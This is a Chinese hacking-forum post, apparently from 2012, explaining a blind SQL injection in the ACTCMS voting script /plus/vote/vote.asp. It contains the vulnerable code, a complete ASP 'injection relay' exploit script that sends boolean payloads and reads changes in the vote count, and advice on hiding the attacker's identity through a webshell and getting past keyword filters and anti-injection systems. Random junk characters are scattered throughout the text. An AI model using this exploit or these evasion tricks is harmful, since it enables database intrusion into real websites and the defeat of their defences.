找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2053|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

; u- p/ i% ~9 ^  ^/ y3 _2 u- c, p! c看到ninty大牛的blog的一篇文章
! m) ^6 R# b7 D) C, s; f% j链接标记[url]http://www.forjj.com/?action=show&id=80[/url]# i6 ^/ \8 g; v. {
关于actcms漏洞的利用  by 3x qq:381862589
. t/ `- x* {* m5 h' i( \: j! c转载请注明以上
' R2 A# R5 ]+ ?2 ^4 @漏洞文件:! I; k0 v6 ]# t9 V8 t8 \
/plus/vote/vote.asp
8 V; G$ G( Q; G. ?! X, Q5 c" M代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    ! D0 n' X* M2 f+ ^8 t0 R

$ r; a0 |2 m7 O' Z5 j/ B2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
$ I" R2 @2 w+ W: K8 [0 j6 [% u* @. b. p& G
3    response.end    - d6 g* ?3 e) L! l$ y

4 ]& o4 T6 j* ~1 {$ M4    end if   
. k8 o: S, ^' M5 p" e3 a, P1 H4 T. {5 k) |9 J& x9 ~! r- E& p% t& v
5    for i=1 to request("voted").count    1 P. f& m7 f4 Z4 n( T$ J& b
5 }; m' _# T% F- `; c5 B# A  N
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
3 W( V# t; L( Z% \8 \9 ~: _' d2 ?1 S; c  p! Q6 e' t  `( o
7    next   
$ B# `$ R9 M9 B+ \3 R3 P
9 |! q, M( o: ^! S8....    ; f6 [5 }* ?. Q  j! Y

. k' J( @1 \+ t# I1 ~9response.Redirect "index.asp?id="&id&""   5 c" z; r' F" K4 y0 }
投票结束回跳转回index.asp这个投票结果页面0 {7 a+ x. S+ M+ R
如果投票成功票数加1" b, u! r$ K, a3 _" h
            失败票数不变
" c$ S5 {% H* T, z如图:, Y! _8 R0 L: [0 m
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)7 N5 w, o. O4 f) t) g% @0 f
* l; Y+ J- A0 q( @" N! V7 k+ A$ w
2009-12-27 13:20; W& K' o0 ?5 J
' y/ _1 R1 ~/ s+ r& A6 c, [2 @* O' C
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了2 ?) S$ I# j5 Q6 ]9 p' O* F2 \
  Q4 E4 {/ Z( b, e  E6 s; B* i
本帖隐藏的内容需要回复才可以浏览! {" G, ^. l" t; r/ a( k1 C
我们用注入中转来实现这个注入具体代码如下:
5 N% J. H; B$ Q- ^7 g先用寂寞的刺猬大牛的注入中转生成jmget.asp
8 [! }8 I$ B& `! l! j2 Q" W, P注入地址:http://localhost/actcms/plus/vote/vote.asp
  s, [- F1 k+ ^3 h9 I* t& d注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项: G6 g% H% D7 C+ j- R# R, y
4 k1 q3 g  E" ^
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
- V( W$ L6 Q$ u0 Q
6 G8 i. h5 l$ [! y02JmdcwName=request("jmdcw")
4 Q! V8 P1 A$ S9 ?4 L; @1 J# `
1 T  y# L, D" O% Y0 I: j03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ( b$ S  g% R3 K* b, a+ ]0 {1 ]. L

7 U  \' e. X2 W$ N# e/ @$ K04JmStr="id=1&voted=-1 or 1="&JmdcwName * G* |+ D/ \- }6 Y- ^
+ x; s( p1 a) U9 h3 {; D
05JmStr=URLEncoding(JmStr) " m2 Q9 K; l/ e1 D' }
: c/ N9 a. y5 I6 F* _1 i) Q+ \
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
5 t: o) [# k; f5 [# A
3 u) s) c3 `- A' x0 R, L' c; X07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"4 D8 k, q" X7 @8 n
6 w8 Y# d7 o( F6 ]6 |( ^; f2 \, |4 z
08testurl=testurl & "?" & JmStr   h. G- C2 L1 T3 G- ?5 S
; S) x1 \! V0 F# v& o; y
09JMUrl=JMUrl & "?" & JmStr 6 @2 R; s8 {, [5 t; ~

# C. I/ g) i2 c2 u0 p10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
- A9 Q* K% ?0 i
" L9 s" I0 W6 Y) G3 c4 ?* d11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"2 B1 y* _% l! ~) x! }
( |% N9 x0 }4 {5 d0 y- x
12JmCok=replace(JmCok,chr(32),"%20")  
% M, A* C2 ~( t* a
8 |5 {$ [& }' T13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 m2 X: r7 Z, i& F
0 H% Q0 E# K) w" L
14  
1 {  z) ]3 g' F& L1 O% f
$ C. ?; ~: ?$ T# |( ]15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 |7 n' ?; |2 Q  c' L1 ~4 v. k

6 C) e- e9 `& R% h. O16  # N+ J; K- }8 i+ `) d/ H

8 I# p1 L+ T9 w5 |5 \! W17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ J; ~( }- {- j  l: d$ R0 X2 T  [. F- \8 w6 k  t  m2 _
18response.write test1&""&test2&""7 ~( I; J( A. C3 ^
# X! c( x9 @7 N: v8 }) H/ G; o8 R" B" I
19  
6 ?0 S- w1 Y- X% `% F6 s) N" q; {0 B2 ~  p3 @+ S: S
20if test1=test2 then '如前后记录相等,表示失败 * v' L* f# z* Z4 O+ _; K, L

3 E5 k- e! \- T- X21  response.write "failed"
0 g! x' \- x  k6 D' i% A; P: t  }, Q# t9 @
22else ! d9 I" D! n5 n- ]9 z
+ q, T0 f0 T" _6 i" k$ {0 K6 g9 `9 S" Z
23  response.write "succeed"
' @2 r( l5 ]' k; e) r. s8 e/ C% E2 M' h. A3 f9 B0 S2 p
24end if  
1 v7 G( k& z# |/ X/ I
0 C$ N* _" _9 n( U* z25  
& R; X! e3 Q  ?; |" f4 d# _* y8 ^/ B0 [% Y; `( I$ }1 y
26response.write "by 3x"
, q. F5 Z% d% t. a6 \3 \& p5 i- ^6 C: a- c
27  
* [) F) h. G4 `9 a- z7 N: [5 ]% e. Y; X0 Z' |- V
28  
4 l! t1 X9 e0 q8 ~0 _, k. d: t0 _- s) O3 H3 ]% S0 N
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   0 i# |# i# `7 G' g

/ u- E3 X, C" x' Y" j30Dim Http 5 X0 y  Y5 u( J9 ~
( @( j) d! C+ x
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") $ W+ _4 L2 k1 q% U% d
8 b; i8 I# \; p, B4 l6 u6 h1 T
32With Http
6 q1 D0 ]' O4 i  n7 M" b5 h
  Y( e, H8 k/ k6 M3 K9 ^+ p& x33  . z: l) L) L9 d8 ]" f+ b  t

3 L' ~3 w* a- s34.Open "GET",PostUrl,False
. `! F+ }* O  u5 T' [% f
) E$ }8 r' u1 J35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"  x2 M: C* ^! Q9 W/ p* r1 c. {

+ Z8 O) t- S" ~' l" P. l* H  ^- T36.SetRequestHeader "Referer",PostRef   U: w) B9 o! m1 P4 i+ S1 ?
+ v, j# j% t$ O' C
37.SetRequestHeader "Cookie",PostCok
& D' d& y' G3 a# }$ j! D, _
  L" e4 `( r+ o38.Send ()
+ z6 C' s  G2 F# A& `* o, i4 S; ~5 l3 F
39PostData = .ResponseBody & I; o' f+ `% m
" A9 N( S) c5 B
40End With7 H( Q; `, m' L* a. Y3 d2 T8 n  `
% ]! r+ f& Q; t- o2 \5 i; B1 |
41Set Http = Nothing
" M5 _; m7 t  U, x& I# m9 }3 Z! H' [2 R5 ]( f6 m  g
42PostData =bytes2BSTR(PostData)
+ H; ]' @2 T/ ^6 D. u0 |( O4 E$ i/ S  m/ G' c/ s6 `  I3 B! _/ _1 C/ O$ B
43End Function
6 r3 u6 T' T: I6 i. o& Y, k/ _
/ i: v3 f+ ^. B( k44  
. i; w1 F9 x  W: [5 {' y
6 T6 \: z7 G5 a3 R, k# a) L45  ) T/ k0 z) ^$ W1 Y

" B. Z; ~7 I. X( i( N46Function bytes2BSTR(vIn)
% u" |, S) B, V, y+ T- T% H* T
+ k* E, x) F: r8 W8 w9 n47Dim strReturn , `" m. V  Q  N3 O4 U0 U, }

4 s% h! E: i, H" u* S8 n48Dim I, ThisCharCode, NextCharCode
" f" B* o! ?# Z/ f- N# D8 |8 }
& z* O% c9 C# a9 b' c5 |49strReturn = ""
' }" T" }) E7 ~; q! i$ z& J5 H' X0 \2 n' R3 i
50For I = 1 To LenB(vIn) - |6 K+ {0 z, G6 {: I& Z6 S

# Q1 s$ k8 {4 w- ]+ h6 X51ThisCharCode = AscB(MidB(vIn, I, 1)) / K; w5 n0 b+ v$ B0 Z5 y
3 v2 a; ]2 |2 P( F2 B
52If ThisCharCode < &H80 Then
* P& g! [$ ^4 A) l, b$ y/ M5 O
2 Z5 d* g! F; F% D6 n7 Z53strReturn = strReturn & Chr(ThisCharCode) 8 k  x* A- M& y% c/ H4 d2 G. v

0 H1 O( g2 j! |7 S' n# \54Else
# |. E: ?% h( P4 @' a, a
; D1 ~$ [! t! M" _2 H, P55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ' B# H% O( Z8 l

8 w4 w0 n% h+ M7 B56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
+ c  `7 g" j( I* E: E. `: j- r6 P. K2 V& g: d4 ^" X% ]: t0 [; o
57I = I + 1
3 W+ k. w; r# Q" U9 w( s4 N! ~/ e; g
58End If
8 U  \1 }9 z$ @3 |' a- D* f- `) b. ]0 G) x( l' H# a
59Next
- n) P) S9 D. c
6 \: W( e  O4 \/ w60bytes2BSTR = strReturn 6 u$ d) J  u; x! x' V. U+ |
- H& P& V  |5 F0 R- x0 o' u# O+ h
61End Function% N- n5 _7 Z: I; k) A, @

( @! [8 B. U4 H" K. m+ U- v62  
+ p8 t: a5 x' c* [3 Y0 l& L" W* C3 Q- d( R& J  C
63Function URLEncoding(vstrin)  6 w- u6 g( G! u' B1 f

  f4 q/ b4 a5 l* l1 f64strReturn=""6 ?9 [, N3 T8 A

) f3 s8 [& ^* c" H+ B65Dim i 4 s7 G' V7 [% Y$ @/ d1 P
( M2 k/ M- b5 B) w7 M% P
66For i=1 To Len(vstrin) 9 j4 e1 d$ q8 P8 m4 r- h4 i

9 G1 x+ I- U+ d. w- Q. d67ThisChr=Mid(vstrin,i,1)
1 X) p% S( G" o% f+ l5 E/ k4 k" Q
68if Abs(Asc(ThisChr))< &HFF Then5 c, X' N) j* J/ |' T. G/ b  J: x
! Z4 g, E3 T7 p' U9 K( |/ h
69strReturn=strReturn & ThisChr
6 k) T. N  G7 `8 U" Y: e+ w1 S0 m
70Else
2 [4 ^  ~9 l) l, `) \$ T! [+ F, e) D" ~% S
71InnerCode=Asc(ThisChr) ) _! R1 Y" l) d! }

% p: m. Z1 P1 L/ g72If InnerCode<0 Then
6 s* R: k# d  m8 i
( c# g, H1 W# X73InnerCode=InnerCode + &H10000 3 [' s) }6 t' }* T

. ]2 h# a$ \+ Z1 {7 @74End If& c: n; \/ Y2 y" @2 O4 h

  x4 t& w8 A" s0 J; Y% g) [% b75Hight1=(InnerCode And &HFF00) \&HFF
- V! S; i! Z$ ?& N5 K) H! t
4 K* W# {; ]: ]+ Z! d# ?* u76Low1=InnerCode And &HFF
% F$ v* J$ n) G% S7 `4 S, Z8 p2 s8 D1 S4 @: W
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ( s2 N* m2 R4 A" B1 a% W9 |4 y

2 t: |0 O, C3 V% I! k' }78End if
: d  C, e# B( w9 [5 k. c7 Z7 A: \8 d0 Q
79Next3 @. C# p8 A3 J1 Y% m5 a3 j
, J( e' Z- d! g5 n+ y
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
4 o' h( a5 E/ ?# s5 m- C+ C4 |) i1 Z1 t* r7 ]7 o
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
8 c, o% P, O; w8 |0 \% K4 R; }$ ~7 ]8 M2 }' }; l+ ^
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 1 F  {- m! c- P/ R* ~# h

4 S$ Y4 a( X% w! f- u1 ^83URLEncoding=strReturn
1 F# L8 F, ]& h8 h9 I1 v% s' D' K9 p4 {" V3 w$ S0 Y
84End Function# i& R" ~" i- z) ~4 ?

) j+ v3 X/ b# \7 Z3 ], g9 _85  
& H; S1 Q4 _9 X4 k' c
2 s! b: w' n7 G6 ]- I86function getSt(body) 7 C' M! f7 N+ U9 J

( N. c5 U( G: N3 d: {: B! a87  startpot=instr(body,"投票人数:")+len("投票人数:")
! ^2 }# R2 y% ~* f, o2 j
- \$ ?2 Z' o3 s! R# E88  endpot=instr(startpot,body," ") 1 Z+ M) W8 z# z5 Y; Z" W

/ Y! D8 V" `7 u4 V8 v9 g" @& l! W89  getSt=mid(body,startpot,endpot-startpot) $ O4 \5 o9 F/ I7 `+ y
: l0 W9 M  h9 ]# w
90end function ! P4 r% m$ A$ A6 X8 R

, C; ]* ?! d/ }" N0 F91%>
, U3 \: |& v  B9 q( U注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了3 r* a7 V: Y% l) l  Q$ C
测试下效果:( a# H" C3 |# s- i: l
投票成功:- m6 t  v1 B/ X1 D  g
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)/ V. p: @/ Y  c; N+ [

% T$ I6 C) C; _3 }, [% \% @. U2009-12-27 13:29
" E  y: |8 i" t" o- h( N, I, d投票失败: A/ s" h, F4 a& l" P% y* L
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
- r9 x! C% B, I5 x, Q6 X
- P; z, S( \6 j* X/ J" H2009-12-27 13:29
" L+ _/ J2 {$ w& Q6 e-------------------------------------------------------------------------------# Z% A( h+ ?8 s# O; {$ ~2 i
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以" g$ _) P; L' K* z$ K
很抱歉。。。只能用单线程工具去注入。。。。。
1 Z7 p% G: Q4 G3 M. }1 r7 {0 L* X所以失败。。。不好意思。。。
, y* s& l& ^& ~+ H-------------------------------------------------------------------------------
. Z& ~& x9 m. ?' {* w& E4 H  ]9 c# j# Y+ ~. {- K
注入中转的一些其他应用, ]6 p+ z, v$ d: N& t
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了7 `8 l( @$ X( x- i5 n
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id. m5 J, v# E, r$ Z1 K& S/ M  c
2.post注入转成get型的注入,方便我们使用工具来跑
$ R4 D4 `. y( n# m- z& Q3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"): |9 U1 O0 V) u: c: s6 @) M
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过4 c2 C7 s! q& e& F- {

8 U0 a' ]3 o& R; y1 s1 \) U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表